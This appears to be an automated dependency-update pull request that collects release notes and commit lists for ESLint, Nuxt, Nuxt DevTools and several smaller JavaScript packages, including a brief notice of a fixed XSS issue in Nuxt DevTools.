dfe3c1bchore: update@eslint/jsversion to 9.39.0 (#20270) (Francesco Trotta)2375a6dchore: package.json update for @eslint/js release (Jenkins)a1f4e52chore: update@eslintdependencies (#20265) (Francesco Trotta)c7d3229chore: update dependency @eslint/core to ^0.17.0 (#20256) (renovate[bot])27549bcchore: update fuzz testing to not error if code sample minimizer fails (#20252) (Milos Djermanovic)a1370eeci: bump actions/setup-node from 5 to 6 (#20230) (dependabot[bot])9e7fad4chore: add script to auto-generate eslint:recommended configuration (#20208) (唯然)
9.38.0
Features
ce40f74feat: updatecomplexityrule to only highlight function header (#20048) (Atul Nair)e37e590feat: correctno-loss-of-precisionfalse positives withenotation (#20187) (Francesco Trotta)Bug Fixes
50c3dfdfix: improve type support for isolated dependencies in pnpm (#20201) (Francesco Trotta)a1f06a3fix: correct SourceCode typings (#20114) (Pixel998)Documentation
462675adocs: improve web accessibility by hiding non-semantic character (#20205) (루밀LuMir)c070e65docs: correct formatting inno-irregular-whitespacerule documentation (#20203) (루밀LuMir)b39e71adocs: Update README (GitHub Actions Bot)cd39983docs: movecustom-formatterstype descriptions tonodejs-api(#20190) (Percy Ma)Chores
d17c795chore: upgrade @eslint/js@9.38.0 (#20221) (Milos Djermanovic)25d0e33chore: package.json update for @eslint/js release (Jenkins)c82b5efrefactor: Use types from @eslint/core (#20168) (Nicholas C. Zakas)ff31609ci: add Node.js 25 toci.yml(#20220) (루밀LuMir)004577eci: bump github/codeql-action from 3 to 4 (#20211) (dependabot[bot])eac71fbtest: remove use ofnodejsScopeoption of eslint-scope from tests (#20206) (Milos Djermanovic)4168a18chore: fix typo in legacy-eslint.js (#20202) (Sweta Tanwar)205dbd2chore: fix typos (#20200) (ntnyq)dbb200echore: use team member's username when name is not available in data (#20194) (Milos Djermanovic)8962089chore: mark deprecated rules as available until v11.0.0 (#20184) (Pixel998)
9.37.0
Features
39f7fb4feat:preserve-caught-errorshould recognize all static "cause" keys (#20163) (Pixel998)f81eabcfeat: support TS syntax inno-restricted-imports(#19562) (Nitin Kumar)Bug Fixes
a129ccefix: correctno-loss-of-precisionfalse positives for leading zeros (#20164) (Francesco Trotta)09e04fcfix: add missing AST token types (#20172) (Pixel998)861c6dafix: correctESLinttypings (#20122) (Pixel998)Documentation
b950359docs: fix typos across the docs (#20182) (루밀LuMir)42498a2docs: improve ToC accessibility by hiding non-semantic character (#20181) (Percy Ma)29ea092docs: Update README (GitHub Actions Bot)5c97a04docs: showavailableUntilin deprecated rule banner (#20170) (Pixel998)90a71bfdocs: updateREADMEfiles to add badge and instructions (#20115) (루밀LuMir)1603ae1docs: update references frommastertomain(#20153) (루밀LuMir)Chores
afe8a13chore: update@eslint/jsdependency to version 9.37.0 (#20183) (Francesco Trotta)abee4cachore: package.json update for @eslint/js release (Jenkins)fc9381fchore: fix typos in comments (#20175) (overlookmotel)e1574a2chore: unpin jiti (#20173) (renovate[bot])e1ac05erefactor: markESLint.findConfigFile()asasync, add missing docs (#20157) (Pixel998)347906dchore: update eslint (#20149) (renovate[bot])0cb5897test: remove tmp dir created for circular fixes in multithread mode test (#20146) (Milos Djermanovic)bb99566ci: pinjitito version 2.5.1 (#20151) (Pixel998)177f669perf: improve worker count calculation for"auto"concurrency (#20067) (Francesco Trotta)448b57bchore: Mark deprecated formatting rules as available until v11.0.0 (#20144) (Milos Djermanovic)
9.36.0
Features
Bug Fixes
75b74d8fix: add missing rule option types (#20127) (ntnyq)1c0d850fix: updateeslint-all.jsto useObject.freezeforrulesobject (#20116) (루밀LuMir)7d61b7ffix: add missing scope types toScope.type(#20110) (Pixel998)7a670c3fix: correct rule option typings inrules.d.ts(#20084) (Pixel998)Documentation
b73ab12docs: update examples to usedefineConfig(#20131) (sethamus)31d9392docs: fix typos (#20118) (Pixel998)c7f861bdocs: Update README (GitHub Actions Bot)6b0c08bdocs: Update README (GitHub Actions Bot)91f97c5docs: Update README (GitHub Actions Bot)Chores
12411e8chore: upgrade @eslint/js@9.36.0 (#20139) (Milos Djermanovic)488cba6chore: package.json update for @eslint/js release (Jenkins)bac82a2ci: simplify renovate configuration (#19907) (唯然)c00bb37ci: bump actions/labeler from 5 to 6 (#20090) (dependabot[bot])fee751drefactor: usedefaultOptionsin rules (#20121) (Pixel998)1ace67dchore: update example to usedefineConfig(#20111) (루밀LuMir)4821963test: add missing loc information to error objects in rule tests (#20112) (루밀LuMir)b42c42echore: disallow use of deprecatedtypeproperty in core rule tests (#20094) (Milos Djermanovic)7bb498dtest: remove deprecatedtypeproperty from core rule tests (#20093) (Pixel998)e10cf2aci: bump actions/setup-node from 4 to 5 (#20089) (dependabot[bot])5cb0ce4refactor: usemeta.defaultOptionsinpreserve-caught-error(#20080) (Pixel998)f9f7cb5chore: package.json update for eslint-config-eslint release (Jenkins)81764b2chore: updateeslintpeer dependency ineslint-config-eslint(#20079) (Milos Djermanovic)
9.35.0
Features
42761fafeat: implement suggestions for no-empty-function (#20057) (jaymarvelz)102f444feat: implement suggestions for no-empty-static-block (#20056) (jaymarvelz)e51fffffeat: addpreserve-caught-errorrule (#19913) (Amnish Singh Arora)Bug Fixes
10e7ae2fix: update uncloneable options error message (#20059) (soda-sorcery)bfa4601fix: ignore empty switch statements with comments in no-empty rule (#20045) (jaymarvelz)dfd11defix: addbeforeandafterto test case types (#20049) (Francesco Trotta)dabbe95fix: correct types forno-restricted-importsrule (#20034) (Milos Djermanovic)ea789c7fix: no-loss-of-precision false positive with uppercase exponent (#20032) (sethamus)Documentation
d265515docs: improve phrasing - "if" → "even if" from getting-started section (#20074) (jjangga0214)a355a0edocs: invert comparison logic for example inno-vardoc page (#20064) (OTonGitHub)5082fc2docs: Update README (GitHub Actions Bot)99cfd7edocs: add missing "the" in rule deprecation docs (#20050) (Josh Goldberg ✨)6ad8973docs: update--no-ignoreand--ignore-patterndocumentation (#20036) (Francesco Trotta)8033b19docs: add documentation for--no-config-lookup(#20033) (Francesco Trotta)Chores
da87f2fchore: upgrade @eslint/js@9.35.0 (#20077) (Milos Djermanovic)af2a087chore: package.json update for @eslint/js release (Jenkins)7055764test: removetests/lib/eslint/eslint.config.js(#20065) (Milos Djermanovic)84ffb96chore: update@eslint-community/eslint-utils(#20069) (Francesco Trotta)d5ef939refactor: remove deprecatedcontext.parserOptionsusage across rules (#20060) (sethamus)1b3881dchore: remove redundant word (#20058) (pxwanglu)
9.34.0
Features
0bb777afeat: multithread linting (#19794) (Francesco Trotta)43a5f9efeat: add eslint-plugin-regexp to eslint-config-eslint base config (#19951) (Pixel998)Bug Fixes
9b89903fix: default value of accessor-pairs option in rule.d.ts file (#20024) (Tanuj Kanti)6c07420fix: fix spurious failure in neostandard integration test (#20023) (Kirk Waiblinger)676f4acfix: allow scientific notation with trailing zeros matching exponent (#20002) (Sweta Tanwar)Documentation
0b4a590docs: make rulesdir deprecation clearer (#20018) (Domenico Gemoli)327c672docs: Update README (GitHub Actions Bot)bf26229docs: Fix typo in core-concepts/index.md (#20009) (Tobias Hernstig)2309327docs: fix typo in the "Configuring Rules" section (#20001) (ghazi-git)2b87e21docs: [no-else-return] clarify sample code. (#19991) (Yuki Takada (Yukinosuke Takada))c36570cdocs: Update README (GitHub Actions Bot)Chores
f19ad94chore: upgrade to@eslint/js@9.34.0(#20030) (Francesco Trotta)b48fa20chore: package.json update for @eslint/js release (Jenkins)4bce8a2chore: package.json update for eslint-config-eslint release (Jenkins)0c9999crefactor: prefer default options ingrouped-accessor-pairs(#20028) (루밀LuMir)d503f19ci: fixstale.yml(#20010) (루밀LuMir)e2dc67dci: centralizestale.yml(#19994) (루밀LuMir)7093cb8ci: bump actions/checkout from 4 to 5 (#20005) (dependabot[bot])
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @jridgewell/gen-mapping (indirect, 0.3.12 → 0.3.13) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @jridgewell/sourcemap-codec (indirect, 1.5.0 → 1.5.5) · Repo · Changelog
↗️ @jridgewell/trace-mapping (indirect, 0.3.29 → 0.3.31) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @mapbox/node-pre-gyp (indirect, 2.0.0 → 2.0.3) · Repo · Changelog
Release Notes
2.0.3
2.0.2
- Support private ACL for S3 buckets #923
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 17 commits:
v2.0.3 (#926)Revert "Bump nopt from 8.0.0 to 9.0.0 (#919)" (#925)Bump actions/checkout from 5 to 6 (#922)Support private S3 buckets (#923)Bump nopt from 8.0.0 to 9.0.0 (#919)Bump @mapbox/cloudfriend from 8.1.0 to 9.0.0 (#910)Update dependency tar-fs to v3.1.1 (#921)Bump github/codeql-action from 3 to 4 (#917)Bump actions/setup-node from 4 to 6 (#918)Bump actions/checkout from 4 to 5 (#914)v2.0.1 (#905)Update abi_crosswalk.json for abi 137 / node 24 (#904)Patch merged PR #652 (#903)Create GitHub Actions Test Setup (#652)docs: update cnpm mirror (#627)Upgrade tar-fs && npm install && npm audit fix (#900)GitHub Actions: Add ubuntu-24.04-arm to the testing (#895)
↗️ @nuxt/cli (indirect, 3.25.1 → 3.31.2) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @nuxt/devtools (indirect, 2.6.2 → 3.1.1) · Repo · Changelog
Security Advisories 🚨
🚨 Nuxt DevTools vulnerable to cross-site scripting (XSS)
A vulnerability in Nuxt DevTools has been fixed in version 2.6.4*. This issue may have allowed Nuxt auth token extraction via XSS under certain configurations. All users are encouraged to upgrade.
Release Notes
3.1.1
🚀 Features
- Support passing additional permissions to the iframe - by @RihanArfan in #911 (bc1d1)
🐞 Bug Fixes
View changes on GitHub
3.1.0
🚀 Features
View changes on GitHub
3.0.1
🚀 Features
- Add expiermental support for Vite DevTools - by @antfu (68137)
- Improve vite devtools integration - by @antfu (8759c)
🐞 Bug Fixes
View changes on GitHub
3.0.0
🚨 Breaking Changes
View changes on GitHub
2.7.0
🐞 Bug Fixes
- devtools: Use vite plugin for env-specific config - by @danielroe in #899 (0c258)
View changes on GitHub
2.6.5
🐞 Bug Fixes
View changes on GitHub
2.6.4
🐞 Bug Fixes
View changes on GitHub
2.6.3
No significant changes
View changes on GitHub
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 34 commits:
chore: release v3.1.1chore: update depsfeat: support passing additional permissions to the iframe (#911)fix(ui): remove flash when switching to dark (#909)chore: release v3.1.0feat: update Vue DevTools, close #898chore(deps): bump rollup/plugin-replace (#906)chore: release v3.0.1feat: improve vite devtools integrationchore: fix type errorfeat: add expiermental support for Vite DevToolsfix: update text color for default inputs description (#904)chore: release v3.0.0chore: release v3.0.0-beta.2chore: update depsrefactor: add type assertions + guards (#902)chore: release v3.0.0-beta.1feat!: upgrade to Nuxt 4 for kit and client (#901)chore: fix type errorchore: release v2.7.0chore: update depsfix(devtools): use vite plugin for env-specific config (#899)chore: update lockchore: release v2.6.5chore: update depsrefactor: unified all error messagesfix: ensure path resolve is safechore: release v2.6.4chore: move npmrc to pnpm-workspacefix: using `textContent` instead of `innerHtml` for auth pagechore: update lockchore: release v2.6.3chore: update depsci: use `latest` tag for nightly releasesci: use npm trusted publishing
↗️ @nuxt/schema (indirect, 3.17.7 → 4.2.2) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @nuxt/vite-builder (indirect, 3.17.7 → 4.2.2) · Repo
Release Notes
4.2.2
4.2.2 is the next patch release.
✅ Upgrading
Our recommendation for upgrading is to run:
npx nuxt upgrade --dedupeThis will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.
👉 Changelog
🩹 Fixes
- nitro: Do not show pretty error handler when testing (243261edb)
- nuxt: Generate valid references for component declaration items (#33388)
- nuxt: Sync internal route before calling
page:finishhook (#33707)- kit: Add TypeScript path alias support for test files (#33672)
- nitro: Ensure html is a string before injecting error handler (f70b70c97)
- nitro: Include layer server directories in
tsconfig.server.json(#33510)- nuxt: Ensure deduped async data executions return latest promise (#33740)
- kit,nuxt: Type + respect
moduleDependenciesby meta name (#33774)- nuxt,schema: Ignore
.d.vue.tsdeclarations (1c73525a2)- kit,nuxt: Protect against resolved nuxt module subpath (#33767)
- nuxt: Re-execute
callOnceduring HMR (#33810)- nuxt: Resolve watch callback after reactive key change in
useAsyncData(#33802)- nuxt: Escape HTML in development error page stack trace (#33820)
- kit: Do not add resolved
rootDirto cached layer config (#33779)- kit,schema: Add
moduleDependencies->installModule(#33689)💅 Refactors
- nuxt: Improve type safety within
callOncefunction (#33825)📖 Documentation
- Split directory structure and re-order guides (v4) (#33691)
- Add hints release (#33701)
- Fix link to vitest globals config (#33702)
- Add mcp server and llms.txt (#33371)
- Fix 404 link (98c2f1397)
- Text consistency (#33709)
- Type
erroras non-optional prop (#33763)- Reformat tables (#33813)
🏡 Chore
- Update pnpm to 10.21 and enable trust policy (d2c9711c0)
- Revert pnpm trust policy and restore provenance action (f9d0e0a3d)
- Update markdownlint config to ignore mdc issues (e7fff7132)
- Pin to single version of unstorage (ec316eae8)
✅ Tests
- Add
patchPropandnodeOpsto excluded Vue helpers (#33754)- Use fake timers for watch params test (08d9d2f3b)
🤖 CI
❤️ Contributors
- Daniel Roe (@danielroe)
- Florian Heuberger (@Flo0806)
- Konstantin Telyakov (@kTelyakov)
- abeer0 (@iiio2)
- Julien Huang (@huang-julien)
- Matej Černý (@cernymatej)
- Robin (@OrbisK)
- Dheeraj Joshi (@dheeraj3587)
- Alexander Lichter (@TheAlexLichter)
- Edwin Samodra (@edwinsamodra)
- edison (@edison1105)
- 山吹色御守 (@KazariEX)
- Sébastien Chopin (@atinux)
- Hugo (@HugoRCD)
- pierreoa (@pierreoa)
- Maxime Pauvert (@maximepvrt)
4.2.1
4.2.1 is the next patch release.
✅ Upgrading
Our recommendation for upgrading is to run:
npx nuxt upgrade --dedupeThis will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.
👉 Changelog
🩹 Fixes
- kit,nuxt,schema: Deprecate
ImportPresetWithDeprecation(#33596)- nuxt: Correct warning message for prefetch/noPrefetch conflict (#33617)
- nitro: Remove
<nuxt-error-overlay>iframe border (#33625)- vite: Use rolldown replace only in build (#33615)
- nitro: Use directory paths in
moduleEntryPaths(#33628)- nitro: Start error overlay minimized based on status code (#33658)
- vite: Ensure
optimizeDepsconfig is applied before other plugins (#33586)- nuxt: Respect layer priority order for scanned components (#33654)
- nuxt: Process prerender routes on
pages:resolved(#33662)- nuxt: Remove abort signal event listeners after render (#33665)
- nuxt: Cleanup event listener with cleanup signal (#33667)
- vite: Update
vite-node(#33663)- vite: Respect vite proxy in dev middleware (#33670)
💅 Refactors
- kit,nitro,nuxt,schema,vite: Explicitly import process/performance (#33650)
📖 Documentation
- Fix typo in eslint flat config description (#33569)
- Add signal support to useAsyncData examples (#33601)
- Document
pendingas alias ofstatus === 'pending'(#33221)- Note that
cookieStoreistrueby default (#33572)- Add information on types for server context (#33511)
- Mark webstorm issue resolved (#33608)
- Clarify route middleware doesn't affect API routes (#33643)
- Improve docs for
useHead/useHydration/useLazy*(#33626)- Update link to nitro source to v2 branch (08018af4f)
- Add typescript documentation for module authors (#33637)
- Typo (#33655)
🏡 Chore
- Update URLs (#33567)
- Add
verifyDepsBeforeRun: install(#33603)- Reduce redirects in docs links (1cc539325)
- Lint docs (0b5fa5dea)
🤖 CI
- Disable cache in release action (ff37598bc)
❤️ Contributors
- Daniel Roe (@danielroe)
- Anthony Fu (@antfu)
- Robin (@OrbisK)
- abeer0 (@iiio2)
- Bobbie Goede (@BobbieGoede)
- Florian Heuberger (@Flo0806)
- Matej Černý (@cernymatej)
- Peter Budai (@peterbud)
- Julien Huang (@huang-julien)
- Max (@onmax)
- 纸鹿/Zhilu (@L33Z22L11)
- Hinata Oishi (@te19oishi)
- Damian Głowala (@DamianGlowala)
- Maxime Pauvert (@maximepvrt)
- Raed Abdennadher (@RaedAbr)
4.2.0
4.2.0 is the next minor release.
👀 Highlights
We're excited to announce Nuxt 4.2, bringing new capabilities for better TypeScript DX, enhanced error handling, and improved control over data fetching! 🎉
🎯 Abort Control for Data Fetching
You can now pass an
AbortControllersignal directly touseAsyncDataanduseFetch, giving you fine-grained control over request cancellation (#32531).<script setup lang="ts"> const controller = new AbortController() const { data, error } = await useAsyncData('users', () => $fetch('/api/users', { signal: controller.signal })) // Cancel the request manually when needed function cancelRequest() { controller.abort() } </script>This is particularly useful when you need to abort requests based on user actions or component lifecycle events. The abort signal can also be passed to
refresh()andexecute()methods:const { data, refresh } = await useAsyncData('posts', fetchPosts) // Abort an ongoing refresh const abortController = new AbortController() refresh({ signal: abortController.signal }) // Later... abortController.abort()🎨 Better Error Pages in Development
When an error occurs during development, Nuxt will now display both your custom error page and a detailed technical error overlay (#33359). This gives you the best of both worlds – you can see what your users will experience while also having immediate access to stack traces and debugging information.
The technical overlay appears as a toggleable panel that doesn't interfere with your custom error page, making it easier to debug issues while maintaining a realistic preview of your error handling.
🔮 Opt-in Vite Environment API
For those wanting to experiment with cutting-edge features, you can now opt into the Vite Environment API (#33492).
The Vite Environment API is a major architectural improvement in Vite 6. It closes the gap between development and production by allowing the Vite dev server to handle multiple environments concurrently (rather than requiring multiple Vite dev servers, as we have done previously in Nuxt).
This should improve performance when developing and eliminate some edge case bugs.
... and it is the foundation for implementing Nitro as a Vite environment, which should speed up the dev server still further, as well as allowing more greater alignment in development with your Nitro preset.
export default defineNuxtConfig({ experimental: { viteEnvironmentApi: true } })This is also the first breaking change for Nuxt v5. You can opt in to these breaking changes by setting
compatibilityVersionto5:export default defineNuxtConfig({ future: { compatibilityVersion: 5 }, })Please only use this for testing, as this opts in to unlimited future breaking changes, including updating to Nitro v3 once we ship the Nuxt integration.
Warning
This is highly experimental and the API may change. Only enable if you're prepared for potential breaking changes and want to help shape the future of Nuxt!
📦 New
@nuxt/nitro-serverPackageWe've extracted Nitro server integration into its own package:
@nuxt/nitro-server(#33462). This architectural change allows for different Nitro integration patterns and paves the way for future innovations in server-side rendering.While this change is mostly internal, it's part of our ongoing effort to make Nuxt more modular and flexible. The new package provides standalone Nitro integration and sets the foundation for alternative integration approaches (such as using Nitro as a Vite plugin in Nuxt v5+).
Note
This is an internal refactor – no changes should be required in your code.
⚡ Performance Improvements
We've also shipped several performance enhancements:
- Precomputed renderer dependencies – We now compute renderer dependencies at build time rather than runtime, improving cold start and initial render performance (#33361)
- Reduced dependencies – Removed unnecessary dependencies from kit and schema packages (7ae2cf563)
📉 Async Data Handler Extraction
One of the most exciting performance improvements is the new experimental async data handler extraction (#33131). When enabled, handler functions passed to
useAsyncDataanduseLazyAsyncDataare automatically extracted into separate chunks and dynamically imported.This is particularly effective for prerendered static sites, as the data fetching logic is only needed at build time and can be completely excluded from the client bundle.
Note
In testing with a previous version of nuxt.com, this feature reduced JavaScript bundle size by 39%! Of course, your mileage may vary depending on how much data fetching logic you have.
<script setup lang="ts"> // This handler will be extracted into a separate chunk // and only loaded when needed const { data: post } = await useAsyncData('post', async () => { const content = await queryContent(`/blog/${route.params.slug}`).findOne() // Complex data processing that you don't want in the client bundle const processed = await processMarkdown(content) const related = await findRelatedPosts(content.tags) return { ...processed, related } }) </script>For static/prerendered sites, enable it in your config:
export default defineNuxtConfig({ experimental: { extractAsyncDataHandlers: true } })The extracted handlers are then tree-shaken from your client bundle when prerendering, as the data is already available in the payload. This results in significantly smaller JavaScript files shipped to your users.
🔧 Experimental TypeScript Plugin Support
We're introducing experimental support for enhanced TypeScript developer experience through the
@dxup/nuxtmodule.This module adds a number of TypeScript plugins that aim to improve your experience when using Nuxt-specific features:
- Smart component renaming: Automatically updates all references when you rename auto-imported component files
- Go to definition for dynamic imports: Navigate directly to files when using glob patterns like
import(\~/assets/${name}.webp`)`- Nitro route navigation: Jump to server route handlers from data fetching functions (
$fetch,useFetch,useLazyFetch)- Runtime config navigation: Go to definition works seamlessly with runtime config properties
- Enhanced auto-import support: Includes the
@dxup/unimportplugin for better navigation with auto-imported composables and utilitiesNote
Read more in the documentation.
To enable this feature, set
experimental.typescriptPlugintotruein your Nuxt configuration:export default defineNuxtConfig({ experimental: { typescriptPlugin: true } })Once enabled, the module will be automatically installed and configured by Nuxt.
Important
This feature also requires selecting the workspace TypeScript version in VS Code. Run the "TypeScript: Select TypeScript Version" command and choose "Use Workspace Version".
🎁 Other Improvements
- Component
declarationPath– You can now specify a custom declaration path for components (#33419)- Module resolution extensions – Kit's
resolveModulenow accepts anextensionsoption (#33328)- Global head utility – New
setGlobalHeadutility in kit for easier head management (#33512)🩹 Important Fixes
- Route hash is now preserved when redirecting based on
routeRules(#33222)- Fixed concurrent calls to
loadNuxtConfigwith proper cleanup (#33420)- Object-format
hrefnow works correctly in<NuxtLink>(c69e4c30d)- Component auto-imports now work as arguments to Vue's
h()function (#33509)- Fixed app config array handling during HMR (#33555)
✅ Upgrading
Our recommendation for upgrading is to run:
npx nuxt upgrade --dedupeThis will refresh your lockfile and pull in all the latest dependencies that Nuxt relies on, especially from the unjs ecosystem.
👉 Changelog
🚀 Enhancements
- nuxt: Allow specifying component
declarationPath(#33419)- kit: Add
extensionsoption forresolveModule(#33328)- nuxt: Add abortController option to
useAsyncData(#32531)- nuxt: Display youch error page w/ user error page in dev (#33359)
- nuxt: Experimental typescript plugin support (#33314)
- nuxt,schema: Extract asyncData handlers to chunks (#33131)
- schema: Enable setting
future.compatibilityVersionto5(22f4693a1)- kit,vite: Allow enabling vite environment api (#33492)
- kit: Add
setGlobalHeadutility (#33512)🔥 Performance
- nuxt: Precompute renderer dependencies at build time (#33361)
- kit,schema: Remove some unnecessary dependencies (7ae2cf563)
🩹 Fixes
- nuxt: Preserve hash with redirecting based on
routeRules(#33222)- kit: Safely cleanup
loadNuxtConfigin concurrent calls (#33420)- nuxt: Allow object-format
hrefin<NuxtLink>(c69e4c30d)- nuxt: Remove
mergeModelsfrom auto imports (#33344)- nuxt: Add back
shortPathproperty (#33384)- nuxt: Do not allow native attrs to shadow nuxt link props (4751a6aca)
- nuxt: Remove
declarationPathfrom component dirs (191bcb7e9)- nuxt: Preserve root route in
isPrerenderedcheck (#33476)- nuxt: Exempt webpack vfs from pkg lookup (285eac31c)
- nitro: Exempt nightly release from import protections (dd522394a)
- webpack,rspack: Preserve prerender + nitro flags in server builds (#33503)
- nuxt: Support component auto-imports as arguments of
h()(#33509)- vite: Prevent assignment for rolldown's replacement plugin (#33526)
- nuxt: Use sha256 hash for prerender cache keys (#33505)
- nuxt: Add
NuxtTimerelative timenumericprop (#33552)- nuxt: Add
NuxtTimerelative timerelativeStyleprop (#33557)- nuxt: Handle arrays in app config correctly during HMR (#33555)
- vite: Unset
optimizeDeps.includefor server environment (#33550)💅 Refactors
- Remove obsolete
shortPathproperty (#33384)- kit: Extract trace utilities (9687505ac)
- nuxt,vite,webpack: Allow builders to augment types (#33427)
- schema: Deprecate
extend,extendConfig, andconfigResolvedhooks (e060b9695)- vite: Make vite plugins environment-compatible (#33445)
- nitro,nuxt: Extract
@nuxt/nitro-serverpackage (#33462)- nuxt: Use
RouteLocationNormalizedLoadedGenericinternally (b51cb3067)📖 Documentation
- Update link to localisation issue (d32859da2)
- Add nuxt module
addServerPluginnote (#33409)- Remove deprecated node version (#33411)
- Update
declarationPathinaddComponent(#33380)- Reproduction links for Nuxt v4 (#33429)
- Add some notes/deprecations for vite hooks (31c5f26a2)
- Fix incorrect ESM module field info (#33451)
- Recommend
getLayerDirectories()instead ofnuxt.options._layers(#33484)- Add
4.xprefix (5c0bb9285)- Add docs for
moduleDependencies(#33499)- Clarify extends removal in TypeScript config migration (#33523)
- Pin codemod to v0.18.7 for migration recipe (#33522)
- Fix links (#33554)
🏡 Chore
- Migrate gitpod to ona (#33159)
- Use native node to run
test:prepare(6ef632b82)- Do not use native node to run
test:prepare(eca36cfe5)- Lint docs (3b9784111)
- Update valid semantic scopes (3c38d1f8b)
- Ignore nitro templates (27cf85bdc)
- Update internal links (aac763017)
- Remove
vue-demifromignoredBuiltDependencies(#33494)- Update vscode url (#33360)
- Correct jsdoc location for function used as parameters (#33507)
- Remove code comment (#33515)
- Patch changelogen for large numbers of commits (bd36738b8)
- Link Nuxt 1.x and 2.x (2016–2022) history to main (85838dfd9)
- Filter out commits before last tag when constructing changelog (1c561daeb)
- Also respect since date for bump type (08900f610)
- Also respect
sincein nightly releases (74ca73ca1)- Ignore
@rollup/plugin-commonjs(cd12980ce)✅ Tests
- Refactor suite to use common matrix utils (#33483)
🤖 CI
- Publish
@nuxt/nitro-serveron pkg-pr-new (b7ccf17bf)- Remove nitro-server publish until v4.2 is released (904d4f6ec)
❤️ Contributors
- 山吹色御守 (@KazariEX)
- Florian Heuberger (@Flo0806)
- Daniel Roe (@danielroe)
- Matej Černý (@cernymatej)
- Trung Dang (@NamesMT)
- 纸鹿/Zhilu (@L33Z22L11)
- Julien Huang (@huang-julien)
- Alexander Lichter (@TheAlexLichter)
- abeer0 (@iiio2)
- Max (@onmax)
- Daniel Slepov (@imslepov)
- Octavio Araiza (@8ctavio)
- Bobbie Goede (@BobbieGoede)
- DipakHalkude (@DipakHalkude)
- Aleksander Błaszkiewicz (@ablaszkiewicz)
4.1.3
4.1.3 is a regularly scheduled patch release.
✅ Upgrading
Our recommendation for upgrading is to run:
npx nuxt upgrade --dedupeThis will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.
👉 Changelog
🔥 Performance
- vite: Use rolldown's replace plugin when applicable (#33258)
🩹 Fixes
- kit: Add default values when adding type references in
prepare:typeshook (#33239)- nuxt: Augment app config in server context (#33287)
- nuxt: Make lazy component types compatible with
h(#33046)- vite: Deduplicate inlined server style chunks (#33308)
- nuxt: Support
headoption onuseHead(#33318)- nuxt: Do not relativise importmap if
cdnURLis set (#33333)- nuxt: Resolve aliases in
imports.dirs(#33334)- nuxt: Add missing element/vnode props for
<NuxtLink>(#33335)- nuxt: Do not generate server placeholder components (#33345)
- nuxt: Dedupe generated component names (#33346)
- webpack: Test watch instance before closing it (0e5a0a5a0)
- nuxt: Correctly handle island rendering error (#33302)
- nuxt: Support
v-slot:fallbacklongform syntax in<DevOnly>(#33368)- nuxt: Support
typeFromwhen generating auto-import type templates (#33373)- nuxt: Don't trigger scroll when changing trailing slash (#33358)
- nuxt: Add stubs for new scripts from
@nuxt/scripts(bed410d60)- nuxt: Prevent duplicate execution on key change in
useAsyncData(#33325)- nuxt: Make middleware
_pathproperty configurable for HMR (#33379)- nuxt: Handle non-immediate
useAsyncDatawith different key on ssr (#33341)💅 Refactors
- nuxt: Improve implementation of error composables (#33234)
- nuxt: Resolve path of
typed-router.d.tsearly for consistency (#33285)- nuxt: Move server references to
nitro:prepare:typeshook (#33286)- nuxt: Place
filenameintocomponentsIslandsTemplatedefinition (#33394)- nuxt,vite: Use environment-api compatible plugins (#33403)
📖 Documentation
- Add
4.xprefix to all internal links (#33264)- Fix more links (#33265)
- Update usage instructions for Windows users (#33284)
- Update app config paths to use app/app.config.ts (#33297)
- Remove d suffix in example (#33298)
- Move directory structure to top-level (#33299)
- Add information about
useFetchreactivity (#33317)- Add more
4.xprefixes in urls (47ea684c7)- Lint code samples within docs (#33271)
- Remove duplicated documentation from
nuxt.configpage (b438d44e1)- Remove docs for outdated asyncData configuration (3e4a999e6)
- Note
preparecommandNODE_ENVbehavior (#33330)- Update
nuxtcommand pages (#33336)🏡 Chore
- Temporarily disable link to github sponsors (7e5375390)
- Update markdownlint ignore (19fc9abbb)
- Migrate pnpm settings out of
.npmrc(14514329b)- Ignore errors from npmjs (50febbbba)
- Lint (09a16d9df)
- nuxt: Align global components indent (#33340)
- Remove tea.yaml (5f567c79b)
- Remove todo comment as resolved (#33389)
✅ Tests
🤖 CI
- Add provenance action to check for downgrades in provenance (5ada6861e)
- Pass commit sha when triggering ecosystem ci (399df6bab)
❤️ Contributors
- Daniel Roe (@danielroe)
- 山吹色御守 (@KazariEX)
- Julien Huang (@huang-julien)
- Florian Heuberger (@Flo0806)
- Ondrej Brendy (@bandiasek)
- Octavio Araiza (@8ctavio)
- Alex Liu (@Mini-ghost)
- Bobbie Goede (@BobbieGoede)
- abeer0 (@iiio2)
- Harlan Wilton (@harlan-zw)
- Alexander Lichter (@TheAlexLichter)
- Sébastien Chopin (@atinux)
- Ben Hong (@bencodezen)
- Daniel Slepov (@imslepov)
- Huseyn Guliyev (@husayt)
- Hillary (@hillaryke)
4.1.2
4.1.2 is a regularly scheduled patch release.
✅ Upgrading
Our recommendation for upgrading is to run:
npx nuxt upgrade --dedupeThis will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.
👉 Changelog
🔥 Performance
- kit: Do not normalise templates in loop if
dstis present (#33200)- nuxt: Remove watcher from
hydrate-whenlazy hydration strategy (#33199)- nuxt,schema: Normalise components + directories more efficiently (#33207)
- kit,nuxt: Reduce unnecessary iteration in nuxt code (#33212)
- nuxt: Skip running lazy hydration transform with filter (#33213)
🩹 Fixes
- schema: Add
pkg-typesto dependencies (9fe2541ca)- nuxt: Ignore errors when treeshaking composables within other composables (f99eac516)
- nuxt: Do not tree-shake composables within other composables (#33153)
- kit: Ensure module dependencies are typed correctly (4568e8451)
- nuxt: Prevent Infinity
backgroundSizein loading indicator (#33211)- nuxt: Remove unused
enabledfrom components dir options (#32844)- nuxt: Sync watch request in useAsyncData (#33192)
- nuxt: Move key imports logic after all modules run (#33214)
📖 Documentation
- Update reference to source dir (65712297a)
- Update language on bridge head migration (c9d986889)
- Update file path for pinia store (#33205)
- Add
app/suffix to a few links (#33217)🏡 Chore
